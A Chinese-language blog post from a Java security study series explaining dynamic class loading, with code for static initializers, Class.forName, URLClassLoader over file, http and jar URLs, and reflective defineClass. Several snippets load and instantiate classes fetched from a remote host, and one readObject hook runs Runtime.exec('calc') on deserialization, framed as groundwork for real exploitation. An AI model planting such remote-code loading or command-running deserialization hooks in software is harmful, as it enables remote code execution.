首页 > 编程语言 >【JavaSec】类的动态加载初探

【JavaSec】类的动态加载初探

时间:2024-08-19 11:27:31浏览次数:10  
标签:java String URLClassLoader class JavaSec 初探 public 加载

0x02 类的动态加载

文章目录

  • 什么是类加载?

即虚拟机加载.class文件

在类加载的时候会执行代码

初始化:静态代码块

实例化:构造代码块、无参构造函数

实例:

public class Person implements Serializable {
//    private transient String name;  使用transient 不会被反序列化存储
    public String name;
    private int age;


    public static int id;

    //不管调用哪种静态方法 都会调用静态代码块
    static {
        System.out.println("这是静态代码块");
    }


    public static void staticAction(){
        System.out.println("这是静态方法");
    }

    //不管调用哪种构造方法 都会调用构造代码块
    {
        System.out.println("这是构造代码块");
    }


    public Person(){
        System.out.println("这是无参Person");
    }
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString(){
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    private void action(String act){
        System.out.println(act);
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }
}

创建一个加载类:

package bli_seri;

public class LoadClassTest {
    public static void main(String[] args) throws Exception{
        new Person();
    }
}

输出:

image-20240818175224166

image-20240818175355644

image-20240818175455674

注意这里的静态代码块仅会在初始化时执行一次,因为刚刚在测试的时候 打算一次输出,但是发现只会产生一次

image-20240818180458308

动态类加载方法:

Class.forName : 可以选择是否进行初始化 注意!避坑,如果想加载的类在不同包里 一定要加上包名

初始化:

package bli_seri;

public class LoadClassTest {
    public static void main(String[] args) throws Exception{
        //初始化动态注册 方法1 
        Class c = Person.class;
        System.out.println(c);
        Class.forName(c.getName());
        
        //初始化动态注册 方法2
        Class.forName("bli_seri.Person");  //动态注册  会初始化
    }
}

image-20240818182452179

不初始化:

可控:

image-20240818182916914

image-20240818182949563

  • 类加载:

流程:

继承关系:

ClassLoader -> SecureClassLoader -> URLClassLoader -> AppClassLoader

image-20240818193815138

image-20240818194010752

image-20240818194019790

调用关系:

loaClass -> findClass(重写方法) -> defineClass(从字节码加载类)

image-20240818194047205

image-20240818194257017

image-20240818194322863

我们想根据这个底层的原理 实现对任意类进行加载

javac原理:

将源码文件.java 编译成对应的字节码文件.class

下面尝试使用URLClassLoader进行尝试

testCalc文件:

package TryLoad;

import java.io.IOException;

public class testCalc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

注意小锤子是编译 生成.class

image-20240818195741071

放在指定路径下

image-20240818200043632

package bli_seri;

import java.net.URL;
import java.net.URLClassLoader;

public class LoadClassTest {
    public static void main(String[] args) throws Exception{

        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///F:\\tmp\\classes\\")});
        Class<?> c = urlClassLoader.loadClass("TryLoad.testCalc");
        //初始化 加载静态代码块内容
        c.newInstance();


    }
}

一定要注意这种有包的路径问题

image-20240818212013968

执行成功

image-20240818195955839

http协议:

有一个避坑点,这个可能在真实利用的场景中没影响,就是idea对本地的url无法发起请求 但是对外部服务器可以正常执行

执行代码:

package bli_seri;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;

public class LoadClassTest {
    public static void main(String[] args) throws Exception{
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://120.xxx.xxx.xxx:7789/")});
        
        Class<?> c = urlClassLoader.loadClass("Test");

        //初始化 加载静态代码块内容
        c.newInstance();

    }
}

文件信息: 也补充一个杀死端口进程的方法

image-20240819111019811

image-20240819110820368

jar协议:

对单独的class文件进行打包 成jar文件

image-20240819111504579

命令:jar -cvf Calc.jar Clac.class

http读取方法:

代码: 注意格式

import java.net.URL;
import java.net.URLClassLoader;

public class tryCalc {
    public static void main(String[] args) throws Exception{

        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://120.xxx.xxx.xxx:7789/Test.jar!/")});
        Class calc = urlClassLoader.loadClass("Test");
        calc.newInstance();
    }
}

image-20240819111730156

file读取方法:

文件位置

image-20240819112049482

image-20240819112030160

  • 使用defineClass类加载 方法

//使用defineCLass
//后面是根据参数写的 defineClass(String name, byte[] b, int off, int len)
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\Test.class"));
Class cd = (Class) defineClassMethod.invoke(cl, "Test", code, 0, code.length);
cd.newInstance();

image-20240818220056875

通用一些,因为相比于http可以做到不出网

  • Unsafe类加载

image-20240818220518251

标签:java,String,URLClassLoader,class,JavaSec,初探,public,加载
From: https://blog.csdn.net/jayq1/article/details/141321012

相关文章

  • 初探 Rust 语言与环境搭建
    1.Rust简介Rust的历史起源:Rust语言最初由Mozilla研究员GraydonHoare于2006年开始设计,并于2009年首次公开。开发:Rust是Mozilla实验室的一个项目,目的是创建一种能够保证内存安全同时又不牺牲性能的系统编程语言。发布:Rust1.0稳定版于2015年发布,标志着语言......
  • 易优load加载资源文件标签-EyouCms手册
    【基础用法】名称:load功能:资源文件加载,比如:css/js语法:{eyou:loadhref='/static/js/common.js'ver='on'/}参数:file=''资源文件路径href=''远程资源文件URLver=''开启版本号自动刷新浏览器缓存底层字段:无【更多示例】-------------------------------示例1-------......
  • vue3 - 详细实现内网使用离线百度地图功能,在vue3中无需网络离线使用百度地图相关功能,
    效果图在vue3、nuxt3项目开发中,完成内网离线使用百度地图详细教程,让vue3网站无需网络就能加载百度地图及相关功能,完整的百度地图离线使用及地图瓦片的下载教程、更新教程等,vue3百度地图内网离线使用显示地图及各种功能,无论js/ts语法都可以使用,详解百度地图离线加载机制及整......
  • 加载一个模型需要多少GPU内存?
    https://www.substratus.ai/blog/calculating-gpu-memory-for-llm这里提供了一个公式可以计算加载一个模型需要多少GPU内存?M=\frac{(P*4B)}{(32/{Q})}*1.2这个公式首先计算模型的全精度大小\((P*4B)\),再根据量化位宽(\(Q\))对精度进行缩减,然后再乘以\(1.2\)(考虑到加载模......
  • 加载一个模型需要多少GPU内存?
    https://www.substratus.ai/blog/calculating-gpu-memory-for-llm这里提供了一个公式可以计算加载一个模型需要多少GPU内存?M=\frac{(P*4B)}{(32/{Q})}*1.2这个公式首先计算模型的全精度大小\((P*4B)\),再根据量化位宽(\(Q\))对精度进行缩减,然后再乘以\(1.2\)(考虑到加载模......
  • 加载一个模型需要多少GPU内存?
    https://www.substratus.ai/blog/calculating-gpu-memory-for-llm这里提供了一个公式可以计算加载一个模型需要多少GPU内存?M=\frac{(P*4B)}{(32/{Q})}*1.2这个公式首先计算模型的全精度大小\((P*4B)\),再根据量化位宽(\(Q\))对精度进行缩减,然后再乘以\(1.2\)(考虑到加载模......
  • 加载一个模型需要多少GPU内存?
    https://www.substratus.ai/blog/calculating-gpu-memory-for-llm这里提供了一个公式可以计算加载一个模型需要多少GPU内存?M=\frac{(P*4B)}{(32/{Q})}*1.2这个公式首先计算模型的全精度大小\((P*4B)\),再根据量化位宽(\(Q\))对精度进行缩减,然后再乘以\(1.2\)(考虑到加载模......
  • vue3在tsx 中使用ElLoading 无效 ,初始化eltable 样式加载丢失
    在plugins目录下创建elementPlus/index.tsimporttype{App}from"vue";//需要全局引入一些组件,如ElScrollbar,不然一些下拉项样式有问题import{ElLoading,ElScrollbar}from"element-plus";constplugins=[ElLoading];constcomponents=[ElScrollbar];e......
  • 【JavaSec】JDK动态代理初探
    JDK动态代理初探文章目录JDK动态代理初探静态代理动态代理静态代理用户接口:publicinterfaceIUser{voidshow();voidcreate();voidupdate();}用户实现类:/***实现类*/publicclassUserImplimplementsIUser{publicUserI......
  • 使用 preloadComponents 进行组件预加载
    title:使用preloadComponents进行组件预加载date:2024/8/18updated:2024/8/18author:cmdragonexcerpt:摘要:本文介绍Nuxt3中的preloadComponents功能,用于预加载全局注册的组件以减少首次渲染阻塞时间,通过实例演示如何设置并使用该工具来提升页面性能。categories:......